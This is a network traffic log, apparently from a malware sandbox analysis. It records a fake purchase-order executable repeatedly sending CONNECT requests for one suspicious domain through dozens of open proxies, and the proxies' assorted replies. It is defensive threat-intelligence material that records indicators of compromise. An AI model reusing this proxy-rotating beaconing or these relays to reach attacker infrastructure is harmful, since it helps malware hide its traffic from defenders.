Mar 11, 2024 16:39:51.480454922 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.489161968 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:57.489275932 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:03.582851887 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:15.676418066 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1399	192.168.2.10	53687	162.214.170.144	32233	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.480464935 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.489172935 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:57.489305019 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:03.582873106 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:15.676418066 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1400	192.168.2.10	50242	162.214.165.6	42624	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.480598927 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.489171982 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:57.489294052 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:03.582876921 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:15.676415920 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:27.676259995 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:39.676296949 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:03.785619974 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:51.910581112 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1401	192.168.2.10	54349	104.17.66.69	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.480770111 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.635035038 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:51 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1402	192.168.2.10	52986	176.197.144.158	4153	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.480875015 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1403	192.168.2.10	54212	94.131.14.66	1081	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.481390953 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1404	192.168.2.10	54268	3.123.150.192	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.481390953 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.786354065 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:39:51 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1405	192.168.2.10	54358	192.154.246.96	9000	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.484756947 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1406	192.168.2.10	54373	104.21.80.83	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.495378971 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.651109934 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:51 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1407	192.168.2.10	54295	217.23.11.194	47152	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.495984077 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.789869070 CET	226	IN	HTTP/1.1 403 Forbidden Date: Mon, 11 Mar 2024 15:39:51 GMT Content-Length: 101 Content-Type: text/plain; charset=utf-8 Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 0d 0a 50 6c 65 61 73 65 20 74 6f 70 75 70 3a 20 68 74 74 70 73 3a 2f 2f 61 73 6f 63 6b 73 2e 63 6f 6d 2f 61 64 64 2d 6d 6f 6e 65 79 2f 65 36 39 34 64 34 34 37 65 39 64 33 32 38 34 32 37 31 38 38 66 37 33 33 62 31 34 62 36 39 38 35 0d 0a Data Ascii: HTTP/1.1 403 ForbiddenPlease topup: https://asocks.com/add-money/e694d447e9d328427188f733b14b6985

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1408	192.168.2.10	54314	194.4.50.94	12334	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.496371031 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1409	192.168.2.10	54395	172.67.255.224	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.498486042 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.652843952 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:51 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1410	192.168.2.10	53648	45.11.95.166	6009	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.502094030 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.072698116 CET	39	IN	HTTP/1.0 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1411	192.168.2.10	54248	111.90.150.109	1080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.512797117 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1412	192.168.2.10	53680	189.240.60.168	9090	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.514139891 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.786540031 CET	72	IN	HTTP/1.1 200 Connection established Proxy-Agent: Fortinet-Proxy/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1413	192.168.2.10	54297	147.75.34.85	10011	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.516453981 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.819891930 CET	356	IN	HTTP/1.0 502 Bad Gateway Server: Zscaler/6.3 Content-Type: text/html Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 31 3e 44 4e 53 20 65 72 72 6f 72 3c 2f 68 31 3e 0d 0a 3c 70 3e 44 4e 53 20 65 72 72 6f 72 20 28 74 68 65 20 68 6f 73 74 20 6e 61 6d 65 20 6f 66 20 74 68 65 20 70 61 67 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 64 6f 65 73 20 6e 6f 74 20 65 78 69 73 74 29 3c 62 72 3e 3c 62 72 3e 50 6c 65 61 73 65 20 63 68 65 63 6b 20 74 68 61 74 20 74 68 65 20 68 6f 73 74 20 6e 61 6d 65 20 68 61 73 20 62 65 65 6e 20 73 70 65 6c 6c 65 64 20 63 6f 72 72 65 63 74 6c 79 2e 3c 62 72 3e 3c 2f 70 3e 0d 0a 3c 21 2d 2d 5a 73 63 61 6c 65 72 2f 36 2e 33 2d 2d 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><h1>DNS error</h1><p>DNS error (the host name of the page you are looking for does not exist)<br><br>Please check that the host name has been spelled correctly.<br></p>...Zscaler/6.3--></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1414	192.168.2.10	54288	185.32.6.121	4153	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.521141052 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1415	192.168.2.10	50309	163.172.131.178	16379	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.610466957 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.676603079 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:56.853138924 CET	536	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please confi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1416	192.168.2.10	54396	92.204.134.38	54467	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.610867977 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.285939932 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1417	192.168.2.10	54281	5.202.104.22	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.615705967 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1418	192.168.2.10	54306	132.255.50.126	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.615793943 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.488877058 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.482161999 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:55.489319086 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:59.489196062 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:04.120914936 CET	266	IN	HTTP/1.0 307 Temporary Redirect Content-Length: 0 Content-Type: text/html Date: Mon, 11 Mar 2024 15:40:03 GMT Expires: Mon, 11 Mar 2024 15:40:03 GMT Server: Mikrotik HttpProxy Proxy-Connection: close Location: http://hotspot.cgbengenharia.com.br/bloq.html

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1419	192.168.2.10	54433	104.19.124.112	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
